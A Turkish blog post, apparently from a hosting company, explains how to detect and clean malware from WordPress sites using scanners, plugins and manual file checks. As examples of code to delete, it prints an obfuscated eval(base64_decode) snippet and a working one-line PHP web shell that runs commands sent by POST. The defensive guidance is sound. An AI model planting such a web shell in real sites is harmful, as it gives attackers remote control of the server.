WordPress Virüs Temizleme İşlemi Nasıl Yapılır?

WordPress sitelerinizde istenmeyen reklamlar, farklı dillerde yazılar görüyorsanız muhtemelen websitenize virüs bulaşmıştır. Bugün sizlere WordPress virüs tespit etme, WordPress virüs temizleme işlemlerinden bahsedeceğim.

WordPress Site Virüs Nasıl Tespit Edilir?

WordPress sitesinizde virüs olduğunu anlamak zor değildir ancak bunu kesinleştirmek için aşağıdaki maddeleri kontrol edin.

• Siteniz eskisinden daha yavaş çalışıyorsa,
• Bilmediğiniz pop-up reklamlar çıkıyorsa,
• Arama motorlarında siteniz “tehlikeli” olarak işaretleniyorsa,
• Yönetim panelinizde garip kullanıcılar ya da hosting kontrol panelinizde farklı mail yönlendirmeleri varsa…

Muhtemelen sitenize zararlı bir yazılım bulaşmış olabilir. Peki, bunu nasıl kesinleştiririz? İşte birkaç yöntem:

Online Arama

Virüsleri tespit etmek için en kolay yöntemlerden biri sitenizi taratabileceğiniz online araçları kullanmaktır. Bu online araçlardan popüler olanlar Sucuri Site Check ve VirusTotal’dir.

1. Sucuri Site Check: Websitesini ziyaret edip site adresinizi yazdıktan sonra size ücretsiz detaylı bir rapor sunuyor.
2. VirusTotal: Sitenizi farklı antivirüs yazılımlarından geçirerek sorunları listeliyor.
   

Bu iki websitesini ziyaret ederek websitenizde virüs olup olmadığını kesin olarak öğrenebilirsiniz.

Eklenti İle Arama

WordPress eklentileri de tıpkı yukarıdaki websiteleri gibi websitenizi tarar ve şüpheli durum tespit edildiğinde gösterir. Virüs tespiti konusunda aşağıdaki eklentileri kullanabilirsiniz:

• Wordfence Security: Sitenizi tarar kötü dosyaları gösterir ve gerekirse karantinaya alır.
• Solid Security: Eski adı iThemes Security olan bu eklenti şüpheli aktiviteleri tespit ederek tarafınıza hemen bilgilendirme yapar.
• MalCare: Tam anlamıyla bir temizlik ustasıdır. 🙂 Hem bulur hem de temizler ancak bazı özellikleri premium üyelik gerektirebilir.

Bu eklentiler teknik bilgi gerektirmediği için Eklentiler kısmından Yeni Eklenti Ekle dedikten sonra aktif duruma getirip taramayı başlayabilirsiniz.

WordPress Virüs Nasıl Temizlenir?

Virüs tespit ettik peki şimdi ne olacak? Temizlik için iki yöntem var: Ya elle manuel olarak (biraz teknik bilgi lazım) ya da bir eklentiyle (pratik ama bazen ücretli). Şimdi gelin bu yöntemleri ayrıntılı olarak inceleyelim.

Manuel Virüs Temizliği

Biraz teknik bilginiz var ise eklentiye gerek duymadan kendiniz virüs temizliğini yapabilirsiniz. İşte adın adım manuel virüs temizliği işlemi:

1. Yedek Alın: Öncelikle her şeyi yedekleyin, hem dosyalarınızı hem de veritabanınızı. Bunun için cPanel FullBackup hizmetini yada UpdraftPlus eklentisi kullanabilirsiniz.
2. Zararlı Kodları Bulun: FTP programı yada hosting kontrol panelinizde ki dosya yöneticisi ile websitenizin dosyalarınıza erişin. Zararlı dosyalar genelde wp-content/uploads, wp-includes, veya wp-content/themes klasörlerinin içinde saklanır. Bu dosyaları bulup direkt olarak silin. Şüpheli dosyalar şunlar olabilir:
   • Garip isimlendirmeler: wp-config-old.php, randomfile.php, temp.php gibi dosyalar.
   • Aşırı büyük dosyalar: Normalde küçük olan dosyaların (index.phpgibi) beklenenden büyük olması.
3. Şüpheli Kodlara Dikkat Edin: Dosyalarınızı açtığınızda aşağıdaki gibi kodlara rastlarsanız hemen silmelisiniz:
   <?php
eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiZXZhbCIpKSB7IGZ1bmN0aW9uIGV2YWwoJGEpIHsgZXZhbCgiZWNobyAiLiRhKTsgfSB9IGV2YWwoIlNpdGUgaGFjayBlZGVkaWxpLiIpOw=="));
?>


   Bu tarz kod parçacıkları şifrelenmiş veya gizlenmiş kötü amaçlı işlevleri çalıştırır.

   <?php
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
}
?>


   Bu kod sitenize uzaktan komut çalıştırılmasına izin verir. Bu da websiteniz için büyük bir sorun teşkil edecek güvenlik açığıdır.

4. Temiz Temiz Başlayın: Eğer dosyalar çok kötü durumdaysa yani çok fazla dosyada zararlı kod parçacıkları var ise kontrol panelinizi sıfırdan yüklemeyi düşünün.
5. Şifreleri Değiştirin: Tüm şifreleri (admin paneli, FTP, veritabanı, mail şifreleri) değiştirin.

Eklenti İle Virüs Temizliği

Teknik bilgisi az olanlar için eklentiler yardıma koşuyor. İşte sizler için seçtiğimiz popüler virüs temizleme eklentileri:

• MalCare: Sitenizdeki virüsü bulur ve tek tıkla temizler.
• Wordfence Premium: Sadece temizlemekle kalmaz aynı zamanda sürekli koruma sağlayarak websitenizi güvende tutar. Ancak Wordfence eklentisinde bu özellik için Premium üyelik gerekir.
• Sucuri Security: Hem temizlik hem de firewall sağlar.

Bu eklentileri kurup Start Scan yada Taramayı Başlat diyerek taramayı başlatıyorsunuz gerisini o hallediyor. Ancak bazı özellikler için premium sürüme geçmeniz gerekebilir.

WordPress Hosting Paketlerimizde Sepete EK %30 indirim için indirim kodu : indirim30